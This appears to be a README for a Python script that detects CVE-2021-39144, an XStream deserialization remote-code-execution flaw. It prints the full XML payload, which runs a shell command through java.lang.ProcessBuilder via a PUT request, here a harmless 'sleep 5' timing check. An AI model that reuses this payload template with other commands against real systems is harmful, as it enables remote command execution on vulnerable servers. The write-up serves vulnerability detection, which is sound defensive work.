Introduction XStream is a simple library to serialize objects to XML and back again. In affected versions this vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose. Reference: https://nvd.nist.gov/vuln/detail/CVE-2021-39144 Detection Script Usage kali@kali:~$ python3 detection.py [*] Script Usage: python3 detection.py <target> [*] Example: python3 detection.py target.local kali@kali:~$ Detecting Vulnerable Targets kali@kali:~$ python3 detection.py vuln.target.local [+] The provided target seems to be vulnerable to CVE-2021-39144. Understanding the detection script The detection script works as follows: Scan the user-supplied arguments (to read the target). Send an HTTP PUT request to /api/2.0/services/usermgmt/password/1337 endpoint with the payload to trigger the payload (after deserialization of the supplied XML). Here's the XML payload sent to the target: <sorted-set> <string>foo</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>bash</string> <string>-c</string> <string>sleep 5</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set> The interesting part is: <command> <string>bash</string> <string>-c</string> <string>sleep 5</string> </command> The sleep 5 command is executed on the target if it is vulnerable. To detect vulnerable targets, if the response took more than 5 seconds, the target is reported to be potentially vulnerable. Otherwise, the target is reported to be potentially patched.